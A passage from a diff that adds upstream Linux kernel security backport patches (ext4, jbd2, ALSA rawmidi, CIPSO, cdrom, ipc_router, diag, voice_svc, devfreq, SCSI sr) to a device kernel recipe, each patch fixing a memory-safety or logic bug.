Hackmann +Signed-off-by: Greg Kroah-Hartman +--- + fs/ext4/ext4.h | 5 ----- + fs/ext4/inode.c | 3 ++- + fs/ext4/super.c | 5 +++++ + 3 files changed, 7 insertions(+), 6 deletions(-) + +diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h +index bd997b3d6a6f0..beea7a33f5eed 100644 +--- a/fs/ext4/ext4.h ++++ b/fs/ext4/ext4.h +@@ -1386,11 +1386,6 @@ static inline struct timespec ext4_current_time(struct inode *inode) + static inline int ext4_valid_inum(struct super_block *sb, unsigned long ino) + { + return ino == EXT4_ROOT_INO || +- ino == EXT4_USR_QUOTA_INO || +- ino == EXT4_GRP_QUOTA_INO || +- ino == EXT4_BOOT_LOADER_INO || +- ino == EXT4_JOURNAL_INO || +- ino == EXT4_RESIZE_INO || + (ino >= EXT4_FIRST_INO(sb) && + ino <= le32_to_cpu(EXT4_SB(sb)->s_es->s_inodes_count)); + } +diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c +index eb06f62fa95bb..75dc9da78196a 100644 +--- a/fs/ext4/inode.c ++++ b/fs/ext4/inode.c +@@ -3737,7 +3737,8 @@ static int __ext4_get_inode_loc(struct inode *inode, + int inodes_per_block, inode_offset; + + iloc->bh = NULL; +- if (!ext4_valid_inum(sb, inode->i_ino)) ++ if (inode->i_ino < EXT4_ROOT_INO || ++ inode->i_ino > le32_to_cpu(EXT4_SB(sb)->s_es->s_inodes_count)) + return -EIO; + + iloc->block_group = (inode->i_ino - 1) / EXT4_INODES_PER_GROUP(sb); +diff --git a/fs/ext4/super.c b/fs/ext4/super.c +index ad620f43a3049..e55d36b04b50f 100644 +--- a/fs/ext4/super.c ++++ b/fs/ext4/super.c +@@ -3794,6 +3794,11 @@ static int ext4_fill_super(struct super_block *sb, void *data, int silent) + } else { + sbi->s_inode_size = le16_to_cpu(es->s_inode_size); + sbi->s_first_ino = le32_to_cpu(es->s_first_ino); ++ if (sbi->s_first_ino < EXT4_GOOD_OLD_FIRST_INO) { ++ ext4_msg(sb, KERN_ERR, "invalid first ino: %u", ++ sbi->s_first_ino); ++ goto failed_mount; ++ } + if ((sbi->s_inode_size < EXT4_GOOD_OLD_INODE_SIZE) || + (!is_power_of_2(sbi->s_inode_size)) || + (sbi->s_inode_size > blocksize)) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0432-524100251d15-jbd2 dont mark block as modified if the handle is out of credits.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0432-524100251d15-jbd2 dont mark block as modified if the handle is out of credits.patch new file mode 100644 index 0000000..e268177 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0432-524100251d15-jbd2 dont mark block as modified if the handle is out of credits.patch @@ -0,0 +1,49 @@ +From 524100251d15d4dc491671b84854017327ff2dba Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Sat, 16 Jun 2018 20:21:45 -0400 +Subject: jbd2: don't mark block as modified if the handle is out of credits + +commit e09463f220ca9a1a1ecfda84fcda658f99a1f12a upstream. + +Do not set the b_modified flag in block's journal head should not +until after we're sure that jbd2_journal_dirty_metadat() will not +abort with an error due to there not being enough space reserved in +the jbd2 handle. + +Otherwise, future attempts to modify the buffer may lead a large +number of spurious errors and warnings. + +This addresses CVE-2018-10883. + +https://bugzilla.kernel.org/show_bug.cgi?id=200071 + +Signed-off-by: Theodore Ts'o +[bwh: Backported to 3.16: Drop the added logging statement, as it's on + a code path that doesn't exist here] +Signed-off-by: Ben Hutchings +Signed-off-by: Greg Hackmann +Signed-off-by: Greg Kroah-Hartman +--- + fs/jbd2/transaction.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/fs/jbd2/transaction.c b/fs/jbd2/transaction.c +index f3818e7cfa604..ab034f48ffe40 100644 +--- a/fs/jbd2/transaction.c ++++ b/fs/jbd2/transaction.c +@@ -1283,11 +1283,11 @@ int jbd2_journal_dirty_metadata(handle_t *handle, struct buffer_head *bh) + * of the transaction. This needs to be done + * once a transaction -bzzz + */ +- jh->b_modified = 1; + if (handle->h_buffer_credits <= 0) { + ret = -ENOSPC; + goto out_unlock_bh; + } ++ jh->b_modified = 1; + handle->h_buffer_credits--; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0433-4faa5582856e-ext4 avoid running out of journal credits when appending to an.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0433-4faa5582856e-ext4 avoid running out of journal credits when appending to an.patch new file mode 100644 index 0000000..c8aed77 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0433-4faa5582856e-ext4 avoid running out of journal credits when appending to an.patch @@ -0,0 +1,133 @@ +From 4faa5582856e2cb05b73e0ca8e565c3e1acfb561 Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Sat, 16 Jun 2018 23:41:59 -0400 +Subject: ext4: avoid running out of journal credits when appending to an + inline file + +commit 8bc1379b82b8e809eef77a9fedbb75c6c297be19 upstream. + +Use a separate journal transaction if it turns out that we need to +convert an inline file to use an data block. Otherwise we could end +up failing due to not having journal credits. + +This addresses CVE-2018-10883. + +https://bugzilla.kernel.org/show_bug.cgi?id=200071 + +Signed-off-by: Theodore Ts'o +[bwh: Backported to 3.16: adjust context] +Signed-off-by: Ben Hutchings +Signed-off-by: Greg Hackmann +Signed-off-by: Greg Kroah-Hartman +--- + fs/ext4/ext4.h | 3 --- + fs/ext4/inline.c | 38 +------------------------------------- + fs/ext4/xattr.c | 18 ++---------------- + 3 files changed, 3 insertions(+), 56 deletions(-) + +diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h +index beea7a33f5eed..a27ccb0985581 100644 +--- a/fs/ext4/ext4.h ++++ b/fs/ext4/ext4.h +@@ -2663,9 +2663,6 @@ extern struct buffer_head *ext4_get_first_inline_block(struct inode *inode, + extern int ext4_inline_data_fiemap(struct inode *inode, + struct fiemap_extent_info *fieinfo, + int *has_inline); +-extern int ext4_try_to_evict_inline_data(handle_t *handle, +- struct inode *inode, +- int needed); + extern void ext4_inline_data_truncate(struct inode *inode, int *has_inline); + + extern int ext4_convert_inline_data(struct inode *inode); +diff --git a/fs/ext4/inline.c b/fs/ext4/inline.c +index 27a3dcffe308d..fe19a2612b440 100644 +--- a/fs/ext4/inline.c ++++ b/fs/ext4/inline.c +@@ -873,11 +873,11 @@ retry_journal: + } + + if (ret == -ENOSPC) { ++ ext4_journal_stop(handle); + ret = ext4_da_convert_inline_data_to_extent(mapping, + inode, + flags, + fsdata); +- ext4_journal_stop(handle); + if (ret == -ENOSPC && + ext4_should_retry_alloc(inode->i_sb, &retries)) + goto retry_journal; +@@ -1842,42 +1842,6 @@ out: + return (error < 0 ? error : 0); + } + +-/* +- * Called during xattr set, and if we can sparse space 'needed', +- * just create the extent tree evict the data to the outer block. +- * +- * We use jbd2 instead of page cache to move data to the 1st block +- * so that the whole transaction can be committed as a whole and +- * the data isn't lost because of the delayed page cache write. +- */ +-int ext4_try_to_evict_inline_data(handle_t *handle, +- struct inode *inode, +- int needed) +-{ +- int error; +- struct ext4_xattr_entry *entry; +- struct ext4_inode *raw_inode; +- struct ext4_iloc iloc; +- +- error = ext4_get_inode_loc(inode, &iloc); +- if (error) +- return error; +- +- raw_inode = ext4_raw_inode(&iloc); +- entry = (struct ext4_xattr_entry *)((void *)raw_inode + +- EXT4_I(inode)->i_inline_off); +- if (EXT4_XATTR_LEN(entry->e_name_len) + +- EXT4_XATTR_SIZE(le32_to_cpu(entry->e_value_size)) < needed) { +- error = -ENOSPC; +- goto out; +- } +- +- error = ext4_convert_inline_data_nolock(handle, inode, &iloc); +-out: +- brelse(iloc.bh); +- return error; +-} +- + void ext4_inline_data_truncate(struct inode *inode, int *has_inline) + { + handle_t *handle; +diff --git a/fs/ext4/xattr.c b/fs/ext4/xattr.c +index 5f67ef828ccd7..9b4f642d6dea7 100644 +--- a/fs/ext4/xattr.c ++++ b/fs/ext4/xattr.c +@@ -1045,22 +1045,8 @@ int ext4_xattr_ibody_inline_set(handle_t *handle, struct inode *inode, + if (EXT4_I(inode)->i_extra_isize == 0) + return -ENOSPC; + error = ext4_xattr_set_entry(i, s, inode); +- if (error) { +- if (error == -ENOSPC && +- ext4_has_inline_data(inode)) { +- error = ext4_try_to_evict_inline_data(handle, inode, +- EXT4_XATTR_LEN(strlen(i->name) + +- EXT4_XATTR_SIZE(i->value_len))); +- if (error) +- return error; +- error = ext4_xattr_ibody_find(inode, i, is); +- if (error) +- return error; +- error = ext4_xattr_set_entry(i, s, inode); +- } +- if (error) +- return error; +- } ++ if (error) ++ return error; + header = IHDR(inode, ext4_raw_inode(&is->iloc)); + if (!IS_LAST_ENTRY(s->first)) { + header->h_magic = cpu_to_le32(EXT4_XATTR_MAGIC); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0434-bfa30d8adcee-ALSA rawmidi Change resized buffers atomically.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0434-bfa30d8adcee-ALSA rawmidi Change resized buffers atomically.patch new file mode 100644 index 0000000..83e424f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0434-bfa30d8adcee-ALSA rawmidi Change resized buffers atomically.patch @@ -0,0 +1,86 @@ +From bfa30d8adceec8633bea60333707fe1208f2f0e9 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Tue, 17 Jul 2018 17:26:43 +0200 +Subject: ALSA: rawmidi: Change resized buffers atomically + +commit 39675f7a7c7e7702f7d5341f1e0d01db746543a0 upstream. + +The SNDRV_RAWMIDI_IOCTL_PARAMS ioctl may resize the buffers and the +current code is racy. For example, the sequencer client may write to +buffer while it being resized. + +As a simple workaround, let's switch to the resized buffer inside the +stream runtime lock. + +Reported-by: syzbot+52f83f0ea8df16932f7f@syzkaller.appspotmail.com +Cc: +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + sound/core/rawmidi.c | 20 ++++++++++++++------ + 1 file changed, 14 insertions(+), 6 deletions(-) + +diff --git a/sound/core/rawmidi.c b/sound/core/rawmidi.c +index f7be2556eb93c..57e4ab148fe3e 100644 +--- a/sound/core/rawmidi.c ++++ b/sound/core/rawmidi.c +@@ -645,7 +645,7 @@ static int snd_rawmidi_info_select_user(struct snd_card *card, + int snd_rawmidi_output_params(struct snd_rawmidi_substream *substream, + struct snd_rawmidi_params * params) + { +- char *newbuf; ++ char *newbuf, *oldbuf; + struct snd_rawmidi_runtime *runtime = substream->runtime; + + if (substream->append && substream->use_count > 1) +@@ -658,13 +658,17 @@ int snd_rawmidi_output_params(struct snd_rawmidi_substream *substream, + return -EINVAL; + } + if (params->buffer_size != runtime->buffer_size) { +- newbuf = krealloc(runtime->buffer, params->buffer_size, +- GFP_KERNEL); ++ newbuf = kmalloc(params->buffer_size, GFP_KERNEL); + if (!newbuf) + return -ENOMEM; ++ spin_lock_irq(&runtime->lock); ++ oldbuf = runtime->buffer; + runtime->buffer = newbuf; + runtime->buffer_size = params->buffer_size; + runtime->avail = runtime->buffer_size; ++ runtime->appl_ptr = runtime->hw_ptr = 0; ++ spin_unlock_irq(&runtime->lock); ++ kfree(oldbuf); + } + runtime->avail_min = params->avail_min; + substream->active_sensing = !params->no_active_sensing; +@@ -675,7 +679,7 @@ EXPORT_SYMBOL(snd_rawmidi_output_params); + int snd_rawmidi_input_params(struct snd_rawmidi_substream *substream, + struct snd_rawmidi_params * params) + { +- char *newbuf; ++ char *newbuf, *oldbuf; + struct snd_rawmidi_runtime *runtime = substream->runtime; + + snd_rawmidi_drain_input(substream); +@@ -686,12 +690,16 @@ int snd_rawmidi_input_params(struct snd_rawmidi_substream *substream, + return -EINVAL; + } + if (params->buffer_size != runtime->buffer_size) { +- newbuf = krealloc(runtime->buffer, params->buffer_size, +- GFP_KERNEL); ++ newbuf = kmalloc(params->buffer_size, GFP_KERNEL); + if (!newbuf) + return -ENOMEM; ++ spin_lock_irq(&runtime->lock); ++ oldbuf = runtime->buffer; + runtime->buffer = newbuf; + runtime->buffer_size = params->buffer_size; ++ runtime->appl_ptr = runtime->hw_ptr = 0; ++ spin_unlock_irq(&runtime->lock); ++ kfree(oldbuf); + } + runtime->avail_min = params->avail_min; + return 0; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0435-9a21340d0866-Cipso cipsov4optptr enter infinite loop.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0435-9a21340d0866-Cipso cipsov4optptr enter infinite loop.patch new file mode 100644 index 0000000..556ca5b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0435-9a21340d0866-Cipso cipsov4optptr enter infinite loop.patch @@ -0,0 +1,46 @@ +From 9a21340d0866664fc30a449b6d9d56659075f9d9 Mon Sep 17 00:00:00 2001 +From: "yujuan.qi" +Date: Mon, 31 Jul 2017 11:23:01 +0800 +Subject: Cipso: cipso_v4_optptr enter infinite loop + +commit 40413955ee265a5e42f710940ec78f5450d49149 upstream. + +in for(),if((optlen > 0) && (optptr[1] == 0)), enter infinite loop. + +Test: receive a packet which the ip length > 20 and the first byte of ip option is 0, produce this issue + +Signed-off-by: yujuan.qi +Acked-by: Paul Moore +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/ipv4/cipso_ipv4.c | 12 ++++++++++-- + 1 file changed, 10 insertions(+), 2 deletions(-) + +diff --git a/net/ipv4/cipso_ipv4.c b/net/ipv4/cipso_ipv4.c +index e08003d026eb0..a5e2646c859d6 100644 +--- a/net/ipv4/cipso_ipv4.c ++++ b/net/ipv4/cipso_ipv4.c +@@ -1591,9 +1591,17 @@ unsigned char *cipso_v4_optptr(const struct sk_buff *skb) + int taglen; + + for (optlen = iph->ihl*4 - sizeof(struct iphdr); optlen > 0; ) { +- if (optptr[0] == IPOPT_CIPSO) ++ switch (optptr[0]) { ++ case IPOPT_CIPSO: + return optptr; +- taglen = optptr[1]; ++ case IPOPT_END: ++ return NULL; ++ case IPOPT_NOOP: ++ taglen = 1; ++ break; ++ default: ++ taglen = optptr[1]; ++ } + optlen -= taglen; + optptr += taglen; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0436-8e8a40578fac-cdrom information leak in cdromioctlmediachanged.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0436-8e8a40578fac-cdrom information leak in cdromioctlmediachanged.patch new file mode 100644 index 0000000..8c6f8ec --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0436-8e8a40578fac-cdrom information leak in cdromioctlmediachanged.patch @@ -0,0 +1,38 @@ +From 8e8a40578fac765527a5d55d258a2ca93904ed1b Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Wed, 18 Apr 2018 12:51:31 +0300 +Subject: cdrom: information leak in cdrom_ioctl_media_changed() + +commit 9de4ee40547fd315d4a0ed1dd15a2fa3559ad707 upstream. + +This cast is wrong. "cdi->capacity" is an int and "arg" is an unsigned +long. The way the check is written now, if one of the high 32 bits is +set then we could read outside the info->slots[] array. + +This bug is pretty old and it predates git. + +Reviewed-by: Christoph Hellwig +Cc: stable@vger.kernel.org +Signed-off-by: Dan Carpenter +Signed-off-by: Jens Axboe +Signed-off-by: Greg Kroah-Hartman +--- + drivers/cdrom/cdrom.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/cdrom/cdrom.c b/drivers/cdrom/cdrom.c +index 5d28a45d2960..3922ce87c2e4 100644 +--- a/drivers/cdrom/cdrom.c ++++ b/drivers/cdrom/cdrom.c +@@ -2357,7 +2357,7 @@ static int cdrom_ioctl_media_changed(struct cdrom_device_info *cdi, + if (!CDROM_CAN(CDC_SELECT_DISC) || arg == CDSL_CURRENT) + return media_changed(cdi, 1); + +- if ((unsigned int)arg >= cdi->capacity) ++ if (arg >= cdi->capacity) + return -EINVAL; + + info = kmalloc(sizeof(*info), GFP_KERNEL); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0437-b211b051d7ca-net ipcrouter Fix buffer overflow during memcpy.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0437-b211b051d7ca-net ipcrouter Fix buffer overflow during memcpy.patch new file mode 100644 index 0000000..857a727 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0437-b211b051d7ca-net ipcrouter Fix buffer overflow during memcpy.patch @@ -0,0 +1,50 @@ +From b211b051d7ca226d96b70defe10ac318f768b5b2 Mon Sep 17 00:00:00 2001 +From: Arun Kumar Neelakantam +Date: Thu, 29 Mar 2018 20:10:02 +0530 +Subject: net: ipc_router: Fix buffer overflow during memcpy + +The increment logic of u64 pointer in skb_copy_to_log_buf() leads to +buffer overflow. + +Modify the proto type of skb_copy_to_log_buf() function to accept +only unsigned char pointer. + +CRs-Fixed: 2212592 +Change-Id: I8affff1316656c1060ec57f2fb10b46f85314358 +Signed-off-by: Arun Kumar Neelakantam +--- + net/ipc_router/ipc_router_core.c | 7 ++++--- + 1 file changed, 4 insertions(+), 3 deletions(-) + +diff --git a/net/ipc_router/ipc_router_core.c b/net/ipc_router/ipc_router_core.c +index d23799a..fd2dea1 100644 +--- a/net/ipc_router/ipc_router_core.c ++++ b/net/ipc_router/ipc_router_core.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2011-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2011-2016, 2018, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -269,7 +269,7 @@ static uint32_t ipc_router_calc_checksum(union rr_control_msg *msg) + */ + static void skb_copy_to_log_buf(struct sk_buff_head *skb_head, + unsigned int pl_len, unsigned int hdr_offset, +- uint64_t *log_buf) ++ unsigned char *log_buf) + { + struct sk_buff *temp_skb; + unsigned int copied_len = 0, copy_len = 0; +@@ -349,7 +349,8 @@ static void ipc_router_log_msg(void *log_ctx, uint32_t xchng_type, + else if (hdr->version == IPC_ROUTER_V2) + hdr_offset = sizeof(struct rr_header_v2); + } +- skb_copy_to_log_buf(skb_head, buf_len, hdr_offset, &pl_buf); ++ skb_copy_to_log_buf(skb_head, buf_len, hdr_offset, ++ (unsigned char *)&pl_buf); + + if (port_ptr && rport_ptr && (port_ptr->type == CLIENT_PORT) + && (rport_ptr->server != NULL)) { +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0438-21dd238ad583-diag dci Validate dci client entries prior to access.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0438-21dd238ad583-diag dci Validate dci client entries prior to access.patch new file mode 100644 index 0000000..1ea43eb --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0438-21dd238ad583-diag dci Validate dci client entries prior to access.patch @@ -0,0 +1,73 @@ +From 21dd238ad58362877e341d905bea1c7cf273f19a Mon Sep 17 00:00:00 2001 +From: Manoj Prabhu B +Date: Fri, 5 May 2017 10:15:53 +0530 +Subject: diag: dci: Validate dci client entries prior to access + +The patch validates the dci entries and its task +structure before accessing structure members avoiding possible +kernel bug. + +CRs-Fixed: 2035140 +Change-Id: I7b0813defef1cb60400184acc631047cf72af94e +Signed-off-by: Manoj Prabhu B +--- + drivers/char/diag/diag_dci.c | 24 +++++++++++++++++++++--- + drivers/char/diag/diag_dci.h | 1 + + 2 files changed, 22 insertions(+), 3 deletions(-) + +diff --git a/drivers/char/diag/diag_dci.c b/drivers/char/diag/diag_dci.c +index 5ea19b8..0fe20cc 100644 +--- a/drivers/char/diag/diag_dci.c ++++ b/drivers/char/diag/diag_dci.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2012-2016, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2012-2017, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -2118,10 +2118,28 @@ struct diag_dci_client_tbl *dci_lookup_client_entry_pid(int tgid) + { + struct list_head *start, *temp; + struct diag_dci_client_tbl *entry = NULL; ++ struct pid *pid_struct = NULL; ++ struct task_struct *task_s = NULL; ++ + list_for_each_safe(start, temp, &driver->dci_client_list) { + entry = list_entry(start, struct diag_dci_client_tbl, track); +- if (entry->client->tgid == tgid) +- return entry; ++ pid_struct = find_get_pid(entry->tgid); ++ if (!pid_struct) { ++ DIAG_LOG(DIAG_DEBUG_DCI, ++ "diag: valid pid doesn't exist for pid = %d\n", ++ entry->tgid); ++ continue; ++ } ++ task_s = get_pid_task(pid_struct, PIDTYPE_PID); ++ if (!task_s) { ++ DIAG_LOG(DIAG_DEBUG_DCI, ++ "diag: valid task doesn't exist for pid = %d\n", ++ entry->tgid); ++ continue; ++ } ++ if (task_s == entry->client) ++ if (entry->client->tgid == tgid) ++ return entry; + } + return NULL; + } +diff --git a/drivers/char/diag/diag_dci.h b/drivers/char/diag/diag_dci.h +index 1d2904f..0683bec 100644 +--- a/drivers/char/diag/diag_dci.h ++++ b/drivers/char/diag/diag_dci.h +@@ -141,6 +141,7 @@ struct diag_dci_buf_peripheral_t { + }; + + struct diag_dci_client_tbl { ++ int tgid; + struct diag_dci_reg_tbl_t client_info; + struct task_struct *client; + unsigned char *dci_log_mask; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0439-789d4d21c3f1-voicesvc Avoid double free in voicesvc driver.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0439-789d4d21c3f1-voicesvc Avoid double free in voicesvc driver.patch new file mode 100644 index 0000000..3552e54 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0439-789d4d21c3f1-voicesvc Avoid double free in voicesvc driver.patch @@ -0,0 +1,50 @@ +From 789d4d21c3f1818dcbf74da4a051598e8f53676c Mon Sep 17 00:00:00 2001 +From: Aditya Bavanari +Date: Fri, 6 Apr 2018 18:15:43 +0530 +Subject: voice_svc: Avoid double free in voice_svc driver + +voice_svc_dev is allocated as a device managed resource +and need not be freed since it is freed automatically. +Remove the logic to free voice_svc_dev in probe failure +and remove functions to avoid double free. + +CRs-Fixed: 2204285 +Change-Id: If4f9ca840b00448b987f5ce443f66b0923b01969 +Signed-off-by: Aditya Bavanari +--- + drivers/soc/qcom/qdsp6v2/voice_svc.c | 5 +---- + 1 file changed, 1 insertion(+), 4 deletions(-) + +diff --git a/drivers/soc/qcom/qdsp6v2/voice_svc.c b/drivers/soc/qcom/qdsp6v2/voice_svc.c +index 40204e10..f01ab24 100644 +--- a/drivers/soc/qcom/qdsp6v2/voice_svc.c ++++ b/drivers/soc/qcom/qdsp6v2/voice_svc.c +@@ -773,7 +773,7 @@ static int voice_svc_probe(struct platform_device *pdev) + if (ret) { + pr_err("%s: Failed to alloc chrdev\n", __func__); + ret = -ENODEV; +- goto chrdev_err; ++ goto done; + } + + voice_svc_dev->major = MAJOR(device_num); +@@ -820,8 +820,6 @@ dev_err: + class_destroy(voice_svc_class); + class_err: + unregister_chrdev_region(0, MINOR_NUMBER); +-chrdev_err: +- kfree(voice_svc_dev); + done: + return ret; + } +@@ -835,7 +833,6 @@ static int voice_svc_remove(struct platform_device *pdev) + device_destroy(voice_svc_class, device_num); + class_destroy(voice_svc_class); + unregister_chrdev_region(0, MINOR_NUMBER); +- kfree(voice_svc_dev); + + return 0; + } +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0440-83a44ca6057b-PM devfreq memlat Remove kfree on probe fails.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0440-83a44ca6057b-PM devfreq memlat Remove kfree on probe fails.patch new file mode 100644 index 0000000..444a4be --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0440-83a44ca6057b-PM devfreq memlat Remove kfree on probe fails.patch @@ -0,0 +1,66 @@ +From 83a44ca6057bf9c1e36515cded28edc32a4a1501 Mon Sep 17 00:00:00 2001 +From: Rohit Gupta +Date: Wed, 3 Aug 2016 12:04:51 -0700 +Subject: PM / devfreq: memlat: Remove kfree() on probe fails + +Memory allocated with devm_kzalloc() is automatically freed if +the probe function fails and returns an error code. So there +is no need to free cpu_grp explicitly for the failure cases +that might come up after it is allocated. Additionally calls to +devm_kzalloc() must be accompanied by devm_kfree() if memory +deallocation is necessary. +For these reasons remove the kfree(cpu_grp) from the probe +function. + +Change-Id: Ic4838fd58d40d283ac301facc64b06813eb3bd7d +Signed-off-by: Rohit Gupta +--- + drivers/devfreq/arm-memlat-mon.c | 12 ++++-------- + 1 file changed, 4 insertions(+), 8 deletions(-) + +diff --git a/drivers/devfreq/arm-memlat-mon.c b/drivers/devfreq/arm-memlat-mon.c +index 370d7d9..4fb0a5f 100644 +--- a/drivers/devfreq/arm-memlat-mon.c ++++ b/drivers/devfreq/arm-memlat-mon.c +@@ -311,19 +311,19 @@ static int arm_memlat_mon_driver_probe(struct platform_device *pdev) + hw->of_node = of_parse_phandle(dev->of_node, "qcom,target-dev", 0); + if (!hw->of_node) { + dev_err(dev, "Couldn't find a target device\n"); +- goto err_out; ++ return -ENODEV; + } + + if (get_mask_from_dev_handle(pdev, &cpu_grp->cpus)) { + dev_err(dev, "CPU list is empty\n"); +- goto err_out; ++ return -ENODEV; + } + + hw->num_cores = cpumask_weight(&cpu_grp->cpus); + hw->core_stats = devm_kzalloc(dev, hw->num_cores * + sizeof(*(hw->core_stats)), GFP_KERNEL); + if (!hw->core_stats) +- goto err_out; ++ return -ENOMEM; + + for_each_cpu(cpu, &cpu_grp->cpus) + hw->core_stats[cpu - cpumask_first(&cpu_grp->cpus)].id = cpu; +@@ -335,14 +335,10 @@ static int arm_memlat_mon_driver_probe(struct platform_device *pdev) + ret = register_memlat(dev, hw); + if (ret) { + pr_err("Mem Latency Gov registration failed\n"); +- goto err_out; ++ return ret; + } + + return 0; +- +-err_out: +- kfree(cpu_grp); +- return -EINVAL; + } + + static struct of_device_id match_table[] = { +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0441-a31f342e6e16-sr pass down correctly sized SCSI sense buffer.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0441-a31f342e6e16-sr pass down correctly sized SCSI sense buffer.patch new file mode 100644 index 0000000..7df00bf --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0441-a31f342e6e16-sr pass down correctly sized SCSI sense buffer.patch @@ -0,0 +1,87 @@ +From a31f342e6e16394ad48b05191239ee71e45cacbc Mon Sep 17 00:00:00 2001 +From: Jens Axboe +Date: Mon, 21 May 2018 12:21:14 -0600 +Subject: sr: pass down correctly sized SCSI sense buffer + +commit f7068114d45ec55996b9040e98111afa56e010fe upstream. + +We're casting the CDROM layer request_sense to the SCSI sense +buffer, but the former is 64 bytes and the latter is 96 bytes. +As we generally allocate these on the stack, we end up blowing +up the stack. + +Fix this by wrapping the scsi_execute() call with a properly +sized sense buffer, and copying back the bits for the CDROM +layer. + +Reported-by: Piotr Gabriel Kosinski +Reported-by: Daniel Shapira +Tested-by: Kees Cook +Fixes: 82ed4db499b8 ("block: split scsi_request out of struct request") +Signed-off-by: Jens Axboe +[bwh: Despite what the "Fixes" field says, a buffer overrun was already + possible if the sense data was really > 64 bytes long. + Backported to 4.4: + - We always need to allocate a sense buffer in order to call + scsi_normalize_sense() + - Remove the existing conditional heap-allocation of the sense buffer] +Signed-off-by: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + drivers/scsi/sr_ioctl.c | 21 +++++++-------------- + 1 file changed, 7 insertions(+), 14 deletions(-) + +diff --git a/drivers/scsi/sr_ioctl.c b/drivers/scsi/sr_ioctl.c +index 6389fcff12ecf..5982a41df6a2b 100644 +--- a/drivers/scsi/sr_ioctl.c ++++ b/drivers/scsi/sr_ioctl.c +@@ -187,30 +187,25 @@ int sr_do_ioctl(Scsi_CD *cd, struct packet_command *cgc) + struct scsi_device *SDev; + struct scsi_sense_hdr sshdr; + int result, err = 0, retries = 0; +- struct request_sense *sense = cgc->sense; ++ unsigned char sense_buffer[SCSI_SENSE_BUFFERSIZE]; + + SDev = cd->device; + +- if (!sense) { +- sense = kmalloc(SCSI_SENSE_BUFFERSIZE, GFP_KERNEL); +- if (!sense) { +- err = -ENOMEM; +- goto out; +- } +- } +- + retry: + if (!scsi_block_when_processing_errors(SDev)) { + err = -ENODEV; + goto out; + } + +- memset(sense, 0, sizeof(*sense)); ++ memset(sense_buffer, 0, sizeof(sense_buffer)); + result = scsi_execute(SDev, cgc->cmd, cgc->data_direction, +- cgc->buffer, cgc->buflen, (char *)sense, ++ cgc->buffer, cgc->buflen, sense_buffer, + cgc->timeout, IOCTL_RETRIES, 0, NULL); + +- scsi_normalize_sense((char *)sense, sizeof(*sense), &sshdr); ++ scsi_normalize_sense(sense_buffer, sizeof(sense_buffer), &sshdr); ++ ++ if (cgc->sense) ++ memcpy(cgc->sense, sense_buffer, sizeof(*cgc->sense)); + + /* Minimal error checking. Ignore cases we know about, and report the rest. */ + if (driver_byte(result) != 0) { +@@ -272,8 +267,6 @@ int sr_do_ioctl(Scsi_CD *cd, struct packet_command *cgc) + + /* Wake up a process waiting for device */ + out: +- if (!cgc->sense) +- kfree(sense); + cgc->stat = err; + return err; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0442-492fdce2626e-regulator core Fix buffer overflow issue.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0442-492fdce2626e-regulator core Fix buffer overflow issue.patch new file mode 100644 index 0000000..2c322e1 --- /dev/null +++ 